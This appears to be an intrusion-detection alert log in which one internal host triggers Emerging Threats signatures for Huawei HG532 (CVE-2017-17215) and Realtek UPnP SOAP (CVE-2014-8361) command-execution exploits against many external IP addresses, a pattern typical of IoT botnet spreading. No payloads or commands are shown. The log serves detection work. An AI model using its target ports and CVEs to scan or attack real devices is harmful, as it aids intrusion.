07/20/24-23:05:46.981573	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57062	37215	192.168.2.13	39.102.197.30
07/20/24-23:05:52.258489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52036	37215	192.168.2.13	41.37.185.160
07/20/24-23:05:54.765418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37458	52869	192.168.2.13	58.227.194.202
07/20/24-23:05:47.533432	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54840	37215	192.168.2.13	157.136.223.71
07/20/24-23:05:51.420131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53410	52869	192.168.2.13	69.105.43.224
07/20/24-23:05:46.981572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54998	37215	192.168.2.13	197.244.78.99
07/20/24-23:05:47.534030	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44416	37215	192.168.2.13	41.200.3.249
07/20/24-23:05:47.533407	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50332	37215	192.168.2.13	157.199.216.214
07/20/24-23:05:47.535438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46668	37215	192.168.2.13	157.76.93.169
07/20/24-23:05:52.251312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37818	37215	192.168.2.13	157.231.229.161
07/20/24-23:05:52.199166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43764	37215	192.168.2.13	58.221.228.247
07/20/24-23:05:52.218581	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54768	37215	192.168.2.13	170.193.85.178
07/20/24-23:05:46.563627	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42090	52869	192.168.2.13	201.57.227.248
07/20/24-23:05:46.808026	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57698	52869	192.168.2.13	98.62.191.234
07/20/24-23:05:52.218581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33406	37215	192.168.2.13	187.208.99.105
07/20/24-23:05:46.976752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50592	37215	192.168.2.13	44.171.241.23
07/20/24-23:05:46.982251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48328	37215	192.168.2.13	41.103.203.136
07/20/24-23:05:51.418278	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33600	52869	192.168.2.13	54.54.215.85
07/20/24-23:05:52.199166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45222	37215	192.168.2.13	157.61.195.50
07/20/24-23:05:46.907724	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50756	37215	192.168.2.13	115.124.30.25
07/20/24-23:05:46.929085	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59746	37215	192.168.2.13	197.79.38.107
07/20/24-23:05:46.912775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44984	37215	192.168.2.13	197.159.192.112
07/20/24-23:05:51.441209	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52340	52869	192.168.2.13	72.17.189.116
07/20/24-23:05:46.912775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34156	37215	192.168.2.13	157.147.59.60
07/20/24-23:05:52.269606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36170	37215	192.168.2.13	41.192.42.134
07/20/24-23:05:46.919504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54004	37215	192.168.2.13	157.30.207.238
07/20/24-23:05:52.247739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45166	37215	192.168.2.13	197.45.156.70
07/20/24-23:05:46.929085	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42854	37215	192.168.2.13	220.140.76.88
07/20/24-23:05:46.563627	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42090	52869	192.168.2.13	201.57.227.248
07/20/24-23:05:52.258489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60810	37215	192.168.2.13	157.47.192.204
07/20/24-23:05:47.406342	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52194	52869	192.168.2.13	162.187.150.19
07/20/24-23:05:51.418537	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50660	52869	192.168.2.13	155.180.4.142
07/20/24-23:05:47.538262	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60614	37215	192.168.2.13	197.74.70.31
07/20/24-23:05:46.966276	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49420	37215	192.168.2.13	41.166.4.73
07/20/24-23:05:46.975762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56156	37215	192.168.2.13	197.99.191.32
07/20/24-23:05:47.429952	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37800	52869	192.168.2.13	81.130.219.80
07/20/24-23:05:51.487087	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45636	52869	192.168.2.13	130.201.224.129
07/20/24-23:05:46.907724	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50018	37215	192.168.2.13	157.55.21.62
07/20/24-23:05:47.505471	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43492	52869	192.168.2.13	54.82.97.176
07/20/24-23:05:52.281343	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35058	37215	192.168.2.13	157.100.121.122
07/20/24-23:05:46.919504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39584	37215	192.168.2.13	197.183.255.235
07/20/24-23:05:46.922963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57444	37215	192.168.2.13	41.211.96.69
07/20/24-23:05:46.976752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37204	37215	192.168.2.13	41.23.223.104
07/20/24-23:05:52.192507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47362	37215	192.168.2.13	41.157.96.1
07/20/24-23:05:46.808026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57698	52869	192.168.2.13	98.62.191.234
07/20/24-23:05:52.247739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56776	37215	192.168.2.13	197.195.218.157
07/20/24-23:05:52.212387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35742	37215	192.168.2.13	157.179.38.142
07/20/24-23:05:51.419676	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60494	52869	192.168.2.13	103.1.126.231
07/20/24-23:05:52.281343	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60796	37215	192.168.2.13	89.15.200.246
07/20/24-23:05:47.536680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45594	37215	192.168.2.13	197.75.246.24
07/20/24-23:05:52.247739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42364	37215	192.168.2.13	157.111.143.113
07/20/24-23:05:46.975762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34648	37215	192.168.2.13	157.187.94.235
07/20/24-23:05:46.457705	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44108	52869	192.168.2.13	171.175.125.48
07/20/24-23:05:46.982907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33002	37215	192.168.2.13	92.36.25.236
07/20/24-23:05:51.420131	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37062	52869	192.168.2.13	142.17.9.107
07/20/24-23:05:52.218581	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35970	37215	192.168.2.13	41.245.73.17
07/20/24-23:05:46.971186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52574	37215	192.168.2.13	157.168.102.178
07/20/24-23:05:52.179209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35062	37215	192.168.2.13	197.203.131.159
07/20/24-23:05:46.726134	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42114	52869	192.168.2.13	100.11.251.147
07/20/24-23:05:51.498918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35550	52869	192.168.2.13	138.132.215.240
07/20/24-23:05:46.923415	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40032	37215	192.168.2.13	186.219.109.51
07/20/24-23:05:46.991466	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51640	37215	192.168.2.13	197.40.78.120
07/20/24-23:05:46.444439	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59768	52869	192.168.2.13	103.1.126.231
07/20/24-23:05:46.976752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50836	37215	192.168.2.13	41.122.228.58
07/20/24-23:05:47.344104	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50220	52869	192.168.2.13	198.139.127.65
07/20/24-23:05:46.912775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53986	37215	192.168.2.13	197.5.6.138
07/20/24-23:05:46.926640	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57360	37215	192.168.2.13	41.172.40.25
07/20/24-23:05:46.973669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55240	37215	192.168.2.13	41.166.208.82
07/20/24-23:05:46.922963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33106	37215	192.168.2.13	89.97.7.223
07/20/24-23:05:52.212387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56886	37215	192.168.2.13	211.173.199.71
07/20/24-23:05:56.971517	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38802	52869	192.168.2.13	130.42.76.120
07/20/24-23:05:46.923415	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53506	37215	192.168.2.13	157.2.151.90
07/20/24-23:05:47.535868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58852	37215	192.168.2.13	60.102.77.146
07/20/24-23:05:51.428628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59592	52869	192.168.2.13	107.96.10.112
07/20/24-23:05:46.981573	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59046	37215	192.168.2.13	192.124.50.61
07/20/24-23:05:46.986114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49848	37215	192.168.2.13	197.18.238.74
07/20/24-23:05:46.981573	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40314	37215	192.168.2.13	41.253.146.19
07/20/24-23:05:51.421877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56816	52869	192.168.2.13	79.205.6.73
07/20/24-23:05:51.421877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40188	52869	192.168.2.13	84.205.84.200
07/20/24-23:05:51.881997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39196	52869	192.168.2.13	101.73.4.16
07/20/24-23:05:54.698605	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44410	52869	192.168.2.13	172.192.106.73
07/20/24-23:05:52.264315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55410	37215	192.168.2.13	157.148.74.66
07/20/24-23:05:46.444439	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59768	52869	192.168.2.13	103.1.126.231
07/20/24-23:05:52.264315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53234	37215	192.168.2.13	197.120.22.24
07/20/24-23:05:46.726134	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42114	52869	192.168.2.13	100.11.251.147
07/20/24-23:05:47.535438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35682	37215	192.168.2.13	197.70.4.171
07/20/24-23:05:46.966276	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35614	37215	192.168.2.13	197.228.9.181
07/20/24-23:05:52.269606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42604	37215	192.168.2.13	197.185.139.197
07/20/24-23:05:46.978421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48812	37215	192.168.2.13	197.68.9.108
07/20/24-23:05:52.227948	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55188	37215	192.168.2.13	197.48.26.198
07/20/24-23:05:52.199166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45046	37215	192.168.2.13	157.14.145.123
07/20/24-23:05:51.420131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52426	52869	192.168.2.13	121.40.224.141
07/20/24-23:05:52.214852	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37648	37215	192.168.2.13	43.120.167.78
07/20/24-23:05:46.922963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46732	37215	192.168.2.13	83.121.211.25
07/20/24-23:05:46.742396	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38810	52869	192.168.2.13	144.242.91.152
07/20/24-23:05:51.426840	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35202	52869	192.168.2.13	88.169.184.0
07/20/24-23:05:52.311537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35850	37215	192.168.2.13	197.53.221.243
07/20/24-23:05:46.986114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47370	37215	192.168.2.13	197.234.141.118
07/20/24-23:05:47.543163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39376	37215	192.168.2.13	197.93.134.229
07/20/24-23:05:54.698605	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44410	52869	192.168.2.13	172.192.106.73
07/20/24-23:05:47.535438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36192	37215	192.168.2.13	157.76.157.23
07/20/24-23:05:52.269606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46154	37215	192.168.2.13	197.213.66.244
07/20/24-23:05:51.431946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54984	52869	192.168.2.13	97.127.217.219
07/20/24-23:05:46.967760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50316	37215	192.168.2.13	41.139.123.50
07/20/24-23:05:51.431946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38496	52869	192.168.2.13	81.130.219.80
07/20/24-23:05:52.311537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48574	37215	192.168.2.13	197.125.225.82
07/20/24-23:05:46.919504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55892	37215	192.168.2.13	157.189.127.218
07/20/24-23:05:46.971186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50980	37215	192.168.2.13	157.66.96.178
07/20/24-23:05:51.441209	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38238	52869	192.168.2.13	2.151.18.206
07/20/24-23:05:46.915618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44686	37215	192.168.2.13	197.169.205.203
07/20/24-23:05:46.918113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51660	37215	192.168.2.13	157.19.102.202
07/20/24-23:05:46.742396	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38810	52869	192.168.2.13	144.242.91.152
07/20/24-23:05:46.970753	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37154	37215	192.168.2.13	197.219.0.80
07/20/24-23:05:52.256968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48944	37215	192.168.2.13	157.81.49.152
07/20/24-23:05:51.426748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59352	52869	192.168.2.13	46.81.190.204
07/20/24-23:05:54.845549	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46326	52869	192.168.2.13	41.147.69.9
07/20/24-23:05:51.431946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60584	52869	192.168.2.13	66.105.78.156
07/20/24-23:05:51.426748	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37412	52869	192.168.2.13	104.34.54.41
07/20/24-23:05:51.498918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52280	52869	192.168.2.13	187.150.149.148
07/20/24-23:05:52.311537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46240	37215	192.168.2.13	157.197.131.13
07/20/24-23:05:47.480999	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47722	52869	192.168.2.13	194.72.202.29
07/20/24-23:05:52.264315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34152	37215	192.168.2.13	41.106.71.120
07/20/24-23:05:46.551067	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49270	52869	192.168.2.13	116.152.21.19
07/20/24-23:05:46.912775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52282	37215	192.168.2.13	41.134.249.120
07/20/24-23:05:52.311537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34018	37215	192.168.2.13	41.183.62.31
07/20/24-23:05:52.218581	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56660	37215	192.168.2.13	157.168.183.88
07/20/24-23:05:47.524293	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36832	52869	192.168.2.13	104.34.54.41
07/20/24-23:05:47.536680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44046	37215	192.168.2.13	85.61.71.33
07/20/24-23:05:51.461470	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43586	52869	192.168.2.13	93.187.137.171
07/20/24-23:05:52.311536	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52402	37215	192.168.2.13	157.217.35.174
07/20/24-23:05:46.457705	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44108	52869	192.168.2.13	171.175.125.48
07/20/24-23:05:47.534459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33028	37215	192.168.2.13	41.22.217.152
07/20/24-23:05:46.922963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41866	37215	192.168.2.13	105.176.207.17
07/20/24-23:05:47.536680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39846	37215	192.168.2.13	157.1.73.107
07/20/24-23:05:54.845549	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46326	52869	192.168.2.13	41.147.69.9
07/20/24-23:05:46.976752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57550	37215	192.168.2.13	88.11.232.255
07/20/24-23:05:47.416036	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42512	52869	192.168.2.13	195.235.63.144
07/20/24-23:05:46.970753	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60812	37215	192.168.2.13	187.232.79.235
07/20/24-23:05:46.918113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44084	37215	192.168.2.13	197.248.203.139
07/20/24-23:05:52.251312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44488	37215	192.168.2.13	41.132.76.6
07/20/24-23:05:46.961659	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49916	37215	192.168.2.13	196.191.7.200
07/20/24-23:05:46.986114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54792	37215	192.168.2.13	157.163.226.171
07/20/24-23:05:46.912774	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40344	37215	192.168.2.13	157.44.153.97
07/20/24-23:05:46.923415	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43046	37215	192.168.2.13	41.156.184.169
07/20/24-23:05:46.971186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32784	37215	192.168.2.13	147.233.201.83
07/20/24-23:05:56.976613	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36600	52869	192.168.2.13	2.142.69.163
07/20/24-23:05:51.498918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48354	52869	192.168.2.13	194.72.202.29
07/20/24-23:05:46.042101	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32862	52869	192.168.2.13	54.54.215.85
07/20/24-23:05:54.790047	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50434	52869	192.168.2.13	31.167.100.157
07/20/24-23:05:52.256968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40700	37215	192.168.2.13	41.21.191.229
07/20/24-23:05:46.973669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50186	37215	192.168.2.13	197.243.43.53
07/20/24-23:05:47.533598	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54002	37215	192.168.2.13	41.231.6.176
07/20/24-23:05:56.914843	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58694	52869	192.168.2.13	120.175.39.130
07/20/24-23:05:46.961659	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34862	37215	192.168.2.13	41.233.21.101
07/20/24-23:05:52.265126	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56276	37215	192.168.2.13	137.166.47.229
07/20/24-23:05:54.866274	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58032	52869	192.168.2.13	173.121.154.127
07/20/24-23:05:46.926640	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51454	37215	192.168.2.13	108.64.120.4
07/20/24-23:05:51.419676	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55300	52869	192.168.2.13	49.95.69.134
07/20/24-23:05:47.416036	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42512	52869	192.168.2.13	195.235.63.144
07/20/24-23:05:51.498918	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48354	52869	192.168.2.13	194.72.202.29
07/20/24-23:05:46.306652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49468	52869	192.168.2.13	124.62.99.179
07/20/24-23:05:46.798680	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44984	52869	192.168.2.13	74.72.233.88
07/20/24-23:05:52.269606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41260	37215	192.168.2.13	41.9.111.213
07/20/24-23:05:46.973669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33506	37215	192.168.2.13	73.245.214.213
07/20/24-23:05:46.975762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45734	37215	192.168.2.13	213.65.11.119
07/20/24-23:05:52.227948	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42644	37215	192.168.2.13	4.63.192.169
07/20/24-23:05:46.520261	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36334	52869	192.168.2.13	142.17.9.107
07/20/24-23:05:47.478977	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33656	52869	192.168.2.13	78.110.167.93
07/20/24-23:05:51.426748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45986	52869	192.168.2.13	177.34.128.116
07/20/24-23:05:54.762221	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34280	52869	192.168.2.13	118.98.149.170
07/20/24-23:05:52.179209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48172	37215	192.168.2.13	157.89.181.63
07/20/24-23:05:51.426748	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45986	52869	192.168.2.13	177.34.128.116
07/20/24-23:05:46.926640	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49298	37215	192.168.2.13	41.94.29.29
07/20/24-23:05:46.971186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51172	37215	192.168.2.13	41.113.181.100
